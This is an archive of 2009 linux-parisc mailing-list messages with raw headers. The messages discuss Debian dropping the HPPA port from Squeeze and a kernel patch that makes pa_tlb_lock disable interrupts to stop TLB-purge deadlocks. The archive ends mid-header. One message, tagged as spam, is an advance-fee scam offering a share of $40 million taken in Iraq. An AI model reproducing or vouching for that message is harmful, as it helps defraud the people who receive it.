	Wed, 3 Jun 2009 07:41:20 -0400
Original-Received: from mail-bw0-f165.google.com ([209.85.218.165]:64719 "EHLO
	mail-bw0-f165.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752764AbZFCLlT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 3 Jun 2009 07:41:19 -0400
X-Greylist: delayed 312 seconds by postgrey-1.27 at vger.kernel.org; Wed, 03 Jun 2009 07:41:19 EDT
Original-Received: by bwz9 with SMTP id 9so66511bwz.37
        for <linux-parisc@vger.kernel.org>; Wed, 03 Jun 2009 04:41:20 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=nypr3XXDNmMF5SvFfNykBFJnFSHNzpysGoHv00UHxrk=;
        b=ajzCAkTIdtO0eoct7oxItae6ncfsJ8Jjw7foCaupa0qt1FkFKj2B6H2hJJphAgR1WS
         3Lx6i11fjS0Jjtu6TyoMfrrsRWXhaVfHfFMIaEbbmEtsBPKImSncrGRRXIijr8f1g3yH
         JWYt2KO9ZEHL2Dn2vc0VivGaEkpyKHlA1nHZY=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=NMKB1tGiLzWzZ9hKS5M24HfK+KomGdq7T13/eHGU07z6f6H5PhCb7Nzen2UwIHVX68
         dgt1tzRWFpuZGzVXWJsKwhMVbwrNUJYMlOGIoHmh5uWJfyKk2elAuKgqjFNjp0QDvvLQ
         2Ng49UisPCSil1oOm3PxzQFAdMrdJbJ150J0M=
Original-Received: by 10.204.114.136 with SMTP id e8mr773206bkq.190.1244028967621; Wed, 
	03 Jun 2009 04:36:07 -0700 (PDT)
In-Reply-To: <20090602233919.88F4D4EDA@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 5b6721ee2cf50c5b
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1718
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1718>

On Wed, Jun 3, 2009 at 1:39 AM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:

> The links in Neil McGovern message don't provide the actual rational.

Having noticed that myself, I've sent a reply asking for
clarification. We'll see what comes out.

Cheers,
T-Bone

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Fwd: HPPA and Squeeze]
Date: Wed, 3 Jun 2009 12:04:26 -0400 (EDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <20090603160426.F11634FC6@hiauly1.hia.nrc.ca>
References: <4A2589FF.90903@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1244045080 20072 80.91.229.12 (3 Jun 2009 16:04:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 3 Jun 2009 16:04:40 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 03 18:04:36 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MBsx6-0007bV-6Z
	for glpp-linux-parisc@gmane.org; Wed, 03 Jun 2009 18:04:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757355AbZFCQE1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 3 Jun 2009 12:04:27 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756367AbZFCQE1
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 3 Jun 2009 12:04:27 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1696 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756017AbZFCQE0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 3 Jun 2009 12:04:26 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id F11634FC6; Wed,  3 Jun 2009 12:04:26 -0400 (EDT)
In-Reply-To: <4A2589FF.90903@gmx.de> from "Helge Deller" at Jun 2, 2009 10:22:23 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1719
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1719>

> As mentioned previously[0], the release team haven't been happy with the
> state of the HPPA port in Debian. After the release team meeting[1], it
> has been decided that unfortunatly HPPA will not be supported for
> Squeeze. This was after careful consideration, and wasn't an easy
> decision.

The GCC project deprecates unsupported targets for one release prior
to removal.  This gives maintainers and interested users fair warning,
and considerable time to address the support issues before removal.

Shouldn't Debian be doing something similar?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rowland Hook <rjhook70@gmail.com>
Newsgroups: gmane.spam.detected,gmane.linux.ports.parisc
Subject: From Martins D.Legacy
Date: Fri, 5 Jun 2009 13:35:59 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <73e2b0650906051335u7fbb0886x64d3f6216e0c30b3__44681.8154225641$1244234189$gmane$org@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1244234189 10168 80.91.229.12 (5 Jun 2009 20:36:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 5 Jun 2009 20:36:29 +0000 (UTC)
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 05 22:36:27 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MCg9K-00046f-9g
	for glpp-linux-parisc@gmane.org; Fri, 05 Jun 2009 22:36:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752809AbZFEUgQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 5 Jun 2009 16:36:16 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752641AbZFEUgQ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 5 Jun 2009 16:36:16 -0400
Original-Received: from mail-ew0-f210.google.com ([209.85.219.210]:53547 "EHLO
	mail-ew0-f210.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752809AbZFEUgP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 5 Jun 2009 16:36:15 -0400
Original-Received: by mail-ew0-f210.google.com with SMTP id 6so2494933ewy.37
        for <linux-parisc@vger.kernel.org>; Fri, 05 Jun 2009 13:36:17 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:date:message-id:subject
         :from:content-type:content-transfer-encoding;
        bh=OuG43oMpvTs+ZIhM5TZEOJ80Dqlrwj4u/e7qsEwVy7s=;
        b=xUcCxEJW6mgsdMDII22FN4fvBMiD36ggNvHQPAiB8uHI6YLk6Ta1iD82GjVr11LzGP
         ePDKYWFufXRxcKa+4PTsDCLyqdnOaL2pzhGWCrNLjtCJyyWboVlz4vcicGyZBSNbza3F
         OMQKL9JVze5Gw50E8hXLnloHT+HA0EuttnYbA=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:date:message-id:subject:from:content-type
         :content-transfer-encoding;
        b=aA1oo26k+58N5UGiPv6LYSSV5t6z5jN/qn9urY21hBOW9RHdJ24z/LLPYU/USgx0Ax
         W1TVveOJx2/6TopSAP4aB+3VMyqW04isgwtk2QOk/lN3YC/CP63Yix2BO8+X+gB3Bfby
         lHbN1g+tX7UOr69KZDj4ad27xM/Va2mMWkIHY=
Original-Received: by 10.210.86.1 with SMTP id j1mt4968329ebb.29.1244234159440; Fri, 05 
	Jun 2009 13:35:59 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 7.3 points;
 *  0.5 FROM_ENDS_IN_NUMS From: ends in numbers
 *  0.0 RCVD_BY_IP Received by mail server with no name
 *  1.3 MILLION_USD BODY: Talks about millions of dollars
 *  2.2 NA_DOLLARS BODY: Talks about a million North American dollars
 *  0.4 US_DOLLARS_3 BODY: Mentions millions of $ ($NN,NNN,NNN.NN)
 *  2.9 NIGERIAN_BODY1 Message body looks like a Nigerian spam message 1+
Xref: news.gmane.org gmane.spam.detected:4396486 gmane.linux.ports.parisc:1720
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1720>

My name is Martines Legacy

I am an American soldier serving in the military with the army's 3rd
infantry division.with a need for assistance, I have summed up courage
to contact you. I found your contact in address on  journal. I got a
huge fund of Forty Million United States Dollars, (US$40,000,000)
.This money is among the various currencies which was discovered in
barrels at a farm-house near one of  Saddam Hussein old palaces in
Tikrit-Iraq during a rescue operation. I and Sgt James.Howie where the
first to discover this fund. We concluded and took part of this money
which is ($40,000.000.00) and shared between us before informing
anybody about it. This was quite an illegal even last week a roadside
bomb killed my brother in-law. Find the story on
web-address below:  http://news.bbc.co.uk/2/hi/middle_east/2988455.stm?
If  you will do this with good faith and you assure me that my
percentage will be safe in your care until I complete my service
here,then I shall agree with You. This is no stolen money, and there
is no danger involved. We will share upon this ratio: I will take 50%
and you will take 30%. and 20% shall be given to charity organisation
which you shall takecare of this offer after a sucessfull transaction,
We will discuss this in details.

Thanks
Sgt.Martines Legacy
Email: proger34@yahoo.com
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: HPPA and Squeeze
Date: Sat, 6 Jun 2009 12:36:01 -0600
Lines: 66
Approved: news@gmane.org
Message-ID: <20090606183600.GA425@lackof.org>
References: <20090602140734.GC26721@mx0.halon.org.uk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1244313371 17276 80.91.229.12 (6 Jun 2009 18:36:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 6 Jun 2009 18:36:11 +0000 (UTC)
Cc: HPPA porters <debian-hppa@lists.debian.org>,
	admin@debian-ports.org, linux-parisc@vger.kernel.org
To: Neil McGovern <neilm@debian.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 06 20:36:06 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MD0kP-0002my-ES
	for glpp-linux-parisc@gmane.org; Sat, 06 Jun 2009 20:36:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751110AbZFFSgA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 6 Jun 2009 14:36:00 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751148AbZFFSgA
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 6 Jun 2009 14:36:00 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:51338 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751110AbZFFSgA (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 6 Jun 2009 14:36:00 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id E3BAB33E005C;
	Sat,  6 Jun 2009 12:36:01 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id pc5CkTT2UDCf; Sat,  6 Jun 2009 12:36:01 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 1489233E0062; Sat,  6 Jun 2009 12:36:01 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20090602140734.GC26721@mx0.halon.org.uk>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1721 gmane.linux.debian.ports.hppa:5731
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1721>

+linux-parisc (hppa kernel, compiler and !debian tech forum)

Neil,
thanks for the summary. I know this is an unpleasant business in general.

On Tue, Jun 02, 2009 at 03:07:35PM +0100, Neil McGovern wrote:
> Hi,
> 
> As mentioned previously[0], the release team haven't been happy with the
> state of the HPPA port in Debian. After the release team meeting[1], it
> has been decided that unfortunatly HPPA will not be supported for
> Squeeze. This was after careful consideration, and wasn't an easy
> decision.
> 
> This means that ftpmasters will be asked to remove HPPA from testing and
> unstable from the 30th June. It is suggested that HPPA porters may wish
> to consider using debian-ports.org if they wish to continue with the
> port.
> 
> Regards,
> Neil McGovern
> 
> [0] http://lists.debian.org/debian-release/2009/04/msg00299.html

Carlos O'Donnell asked some questions in response to [0] and I never
saw any response.  Can an attendee of the above meeting please reply
this email from Carlos?
    http://lists.debian.org/debian-release/2009/04/msg00303.html

I also never got a response to my offer here:
    http://lists.debian.org/debian-release/2009/04/msg00339.html


And my response again to this question posted in [0]:
> * The machines that host the buildds still seem to have a very
> unreliable kernel. Is there any update on this?

Quite a few serious hppa specific bugs have been fixed upstream over
the past 6 months. This is worth revisiting.

Is upstream stable enough for a buildd?  I don't know since I'm not aware
of any attempts to run a buildd with those kernels.

Is the answer to that question still germane?
If so, I'm willing to setup a local buildd and try it. But I will need
more time and some commitment that if it works, hppa remain in testing
release (that's all I personally care about - I don't care about "stable"
releases.)


> [1] http://lists.debian.org/debian-project/2009/05/msg00080.html

Can we have the minutes for this meeting?

Also, I'd like to ask HPPA debs be kept in "testing" staging area,
just never promoted when the release is cut.  This will let people
continue using HPPA without having to suffer with the !hppa breakage
that lives in unstable.

thanks,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH, RFC] fix parisc runtime hangs wrt pa_tlb_lock
Date: Sat, 06 Jun 2009 23:25:29 +0200
Lines: 237
Approved: news@gmane.org
Message-ID: <4A2ADEC9.2090403@gmx.de>
References: <20090528015037.3417E4FEA@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1244323545 9675 80.91.229.12 (6 Jun 2009 21:25:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 6 Jun 2009 21:25:45 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 06 23:25:41 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MD3OU-0007pt-IO
	for glpp-linux-parisc@gmane.org; Sat, 06 Jun 2009 23:25:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751366AbZFFVZe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 6 Jun 2009 17:25:34 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751058AbZFFVZe
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 6 Jun 2009 17:25:34 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:37569 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751366AbZFFVZd (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 6 Jun 2009 17:25:33 -0400
Original-Received: (qmail invoked by alias); 06 Jun 2009 21:25:33 -0000
Original-Received: from mnhm-590e0f04.pool.einsundeins.de (EHLO [192.168.178.60]) [89.14.15.4]
  by mail.gmx.net (mp025) with SMTP; 06 Jun 2009 23:25:33 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18LyRQ70DoL3Ttzz3B+BZJ3Sha93wUkfqghdZu4fJ
	k2mHSNyuDIt4Jz
User-Agent: Thunderbird 2.0.0.21 (X11/20090320)
In-Reply-To: <20090528015037.3417E4FEA@hiauly1.hia.nrc.ca>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.45
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1722
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1722>

John David Anglin wrote:
>> Since many kernel versions I regularly faced reproducibly kernel hangs when
>> compiling some bigger files. The machine suddenly just seemed to hang.
>>
>> With spinlock debugging turned on I found this:
>>
>> BUG: spinlock recursion on CPU#0, tool/7263
>>  lock: 10644000, .magic: dead4ead, .owner: tool/7263, .owner_cpu: 0
>> Backtrace:
>>  [<10113a94>] show_stack+0x18/0x28
>>
>> BUG: spinlock lockup on CPU#0, tool/7263, 10644000
>> Backtrace:
>>  [<10113a94>] show_stack+0x18/0x28
>>
>> BUG: soft lockup - CPU#0 stuck for 61s! [tool:7263]
>> IASQ: 00000000 00000000 IAOQ: 102d55dc 102d557c
>>  IIR: 03c008b3    ISR: 00000000  IOR: 00000000
>>  CPU:        0   CR30: 7d1a4000 CR31: 11111111
>>  ORIG_R28: 00000000
>>  IAOQ[0]: _raw_spin_lock+0x15c/0x1c0
>>  IAOQ[1]: _raw_spin_lock+0xfc/0x1c0
>>  RP(r2): _raw_spin_lock+0x18c/0x1c0
>> Backtrace:
>>  [<102d560c>] _raw_spin_lock+0x18c/0x1c0
>>
>> Kernel panic - not syncing: softlockup: hung tasks
>> Backtrace:
>>  [<10113a94>] show_stack+0x18/0x28
> 
> I have tested the proposed change using 2.6.30-rc6 and a modified version
> of 2.6.22.10.  I tested using SMP kernels running on a rp3440 and UP
> kernels on a c3750.  I also tested changing the macros to just use
> preempt_disable/preempt_enable.
> 
> The patch doesn't cause any new problems as far as I can tell.  

That's good. Thanks for testing !

> However,
> it doesn't fix any of the problems that I currently see on these two
> machines.  In particular, I see the occasional gcc testsuite timeout
> using SMP kernels.  Programs that usually take a few seconds to run
> timeout after three minutes.  These timeouts don't occur with UP kernels.

Ok, it fixes at least a kernel hang I faced regularily with my compilations...

> On the rp3440, the spinlock is definitely needed.  With just
> preempt_disable/preempt_enable, a crash occurs during bootstrap
> at the point unused memory is recovered.  Thus, the tlb purge
> issue referred to in the preceeding comment affects more than
> just N class.
> 
> On the otherhand, it doesn't seem necessary to disable interrupts
> during the purge with UP kernels.  

My kernel crashes happened with UP-kernels on a B2000 (1 CPU).
So, I still have the feeling that it's necessary to disable interrupts 
on UP kernels as well.

The new cleaned-up attached patch below shows, that arch/parisc/kernel/pci-dma.c
is affected. My kernel crashes always happened when the machine was pretty 
much loaded, during memory pressure when the system still wanted to load
something from disk.
In pci-dma.c the TLB flushing code is called from the DMA handlers, so
it does indicate that IRQ would need to be disabled.
One example I could imagine (with a UP-kernel):
- Process A runs some code, gets into kernel and executes clear_user_page() and locks
  the pa_tlb_lock spinlock (inside the critical section).
- Suddenly Process B gets data from disk via DMA handlers in pci-dma.c
- DMA-Interrupt kicks in, the DMA handler tries to get the pa_tlb_lock and fails
  since process A still holds the lock
-> machine deadlocks and kernel starts reporting about "hung tasks after 61seconds".
  (just search the mailing list for such reports..)

So, even a UP-kernel is affected.

> With SMP kernels, it would be nice
> to know if the lockup was caused by an interruption during the tlb
> purge, or a preemption issue.
> 
> I have the sense that disabling interrupts is wrong.  That is any
> given CPU can only generate one PxTLB inter processor broadcast
> at a time.  Disabling interrupts could cause a deadlock if a TLB
> purge was needed while the purge code was executing.
> 
> The other alternative is to allow the processor that holds the lock
> to enter the flush code.  This would fix the deadlock.  Don't know how
> to code this (atomic compare and exchange?).
> 
> The preempt_disable/preempt_enable crash on the rp3440 made me wonder
> if all tlb purge operations are properly protected with the tlb spinlock.
> I think we need to look at flush_tlb_all_local and copy_user_page_asm.
> They don't seem protected.

New patch attached.

Helge

diff --git a/arch/parisc/include/asm/tlbflush.h b/arch/parisc/include/asm/tlbflush.h
index 1f6fd4f..217588e 100644
--- a/arch/parisc/include/asm/tlbflush.h
+++ b/arch/parisc/include/asm/tlbflush.h
@@ -18,8 +18,8 @@
  */
 extern spinlock_t pa_tlb_lock;
 
-#define purge_tlb_start(x) spin_lock(&pa_tlb_lock)
-#define purge_tlb_end(x) spin_unlock(&pa_tlb_lock)
+#define purge_tlb_start(flags)	spin_lock_irqsave(&pa_tlb_lock, flags)
+#define purge_tlb_end(flags)	spin_unlock_irqrestore(&pa_tlb_lock, flags)
 
 extern void flush_tlb_all(void);
 extern void flush_tlb_all_local(void *);
@@ -64,13 +64,14 @@ static inline void flush_tlb_page(struct vm_area_struct *vma,
 	unsigned long addr)
 {
 	/* For one page, it's not worth testing the split_tlb variable */
+	unsigned long flags;
 
 	mb();
 	mtsp(vma->vm_mm->context,1);
-	purge_tlb_start();
+	purge_tlb_start(flags);
 	pdtlb(addr);
 	pitlb(addr);
-	purge_tlb_end();
+	purge_tlb_end(flags);
 }
 
 void __flush_tlb_range(unsigned long sid,
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 837530e..e3c55f7 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -400,10 +400,11 @@ void clear_user_page_asm(void *page, unsigned long vaddr)
 {
 	/* This function is implemented in assembly in pacache.S */
 	extern void __clear_user_page_asm(void *page, unsigned long vaddr);
+	unsigned long flags;
 
-	purge_tlb_start();
+	purge_tlb_start(flags);
 	__clear_user_page_asm(page, vaddr);
-	purge_tlb_end();
+	purge_tlb_end(flags);
 }
 
 #define FLUSH_THRESHOLD 0x80000 /* 0.5MB */
@@ -444,20 +445,22 @@ extern void clear_user_page_asm(void *page, unsigned long vaddr);
 
 void clear_user_page(void *page, unsigned long vaddr, struct page *pg)
 {
+	unsigned long flags;
 	purge_kernel_dcache_page((unsigned long)page);
-	purge_tlb_start();
+	purge_tlb_start(flags);
 	pdtlb_kernel(page);
-	purge_tlb_end();
+	purge_tlb_end(flags);
 	clear_user_page_asm(page, vaddr);
 }
 EXPORT_SYMBOL(clear_user_page);
 
 void flush_kernel_dcache_page_addr(void *addr)
 {
+	unsigned long flags;
 	flush_kernel_dcache_page_asm(addr);
-	purge_tlb_start();
+	purge_tlb_start(flags);
 	pdtlb_kernel(addr);
-	purge_tlb_end();
+	purge_tlb_end(flags);
 }
 EXPORT_SYMBOL(flush_kernel_dcache_page_addr);
 
@@ -490,8 +493,9 @@ void __flush_tlb_range(unsigned long sid, unsigned long start,
 	if (npages >= 512)  /* 2MB of space: arbitrary, should be tuned */
 		flush_tlb_all();
 	else {
+		unsigned long flags;
 		mtsp(sid, 1);
-		purge_tlb_start();
+		purge_tlb_start(flags);
 		if (split_tlb) {
 			while (npages--) {
 				pdtlb(start);
@@ -504,7 +508,7 @@ void __flush_tlb_range(unsigned long sid, unsigned long start,
 				start += PAGE_SIZE;
 			}
 		}
-		purge_tlb_end();
+		purge_tlb_end(flags);
 	}
 }
 
diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
index 7d927ea..b8ec5a0 100644
--- a/arch/parisc/kernel/pci-dma.c
+++ b/arch/parisc/kernel/pci-dma.c
@@ -90,12 +90,13 @@ static inline int map_pte_uncached(pte_t * pte,
 	if (end > PMD_SIZE)
 		end = PMD_SIZE;
 	do {
+		unsigned long flags;
 		if (!pte_none(*pte))
 			printk(KERN_ERR "map_pte_uncached: page already exists\n");
 		set_pte(pte, __mk_pte(*paddr_ptr, PAGE_KERNEL_UNC));
-		purge_tlb_start();
+		purge_tlb_start(flags);
 		pdtlb_kernel(orig_vaddr);
-		purge_tlb_end();
+		purge_tlb_end(flags);
 		vaddr += PAGE_SIZE;
 		orig_vaddr += PAGE_SIZE;
 		(*paddr_ptr) += PAGE_SIZE;
@@ -168,11 +169,12 @@ static inline void unmap_uncached_pte(pmd_t * pmd, unsigned long vaddr,
 	if (end > PMD_SIZE)
 		end = PMD_SIZE;
 	do {
+		unsigned long flags;
 		pte_t page = *pte;
 		pte_clear(&init_mm, vaddr, pte);
-		purge_tlb_start();
+		purge_tlb_start(flags);
 		pdtlb_kernel(orig_vaddr);
-		purge_tlb_end();
+		purge_tlb_end(flags);
 		vaddr += PAGE_SIZE;
 		orig_vaddr += PAGE_SIZE;
 		pte++;

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] fix irq compile bugs in arch/parisc/kernel/irq.c
Date: Sat, 06 Jun 2009 23:54:28 +0200
Lines: 53
Approved: news@gmane.org
Message-ID: <4A2AE594.9050306@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1244325274 13502 80.91.229.12 (6 Jun 2009 21:54:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 6 Jun 2009 21:54:34 +0000 (UTC)
To: linux-parisc@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 06 23:54:32 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MD3qS-0006tA-A1
	for glpp-linux-parisc@gmane.org; Sat, 06 Jun 2009 23:54:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751535AbZFFVy2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 6 Jun 2009 17:54:28 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752442AbZFFVy2
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 6 Jun 2009 17:54:28 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:52939 "HELO mail.gmx.net"
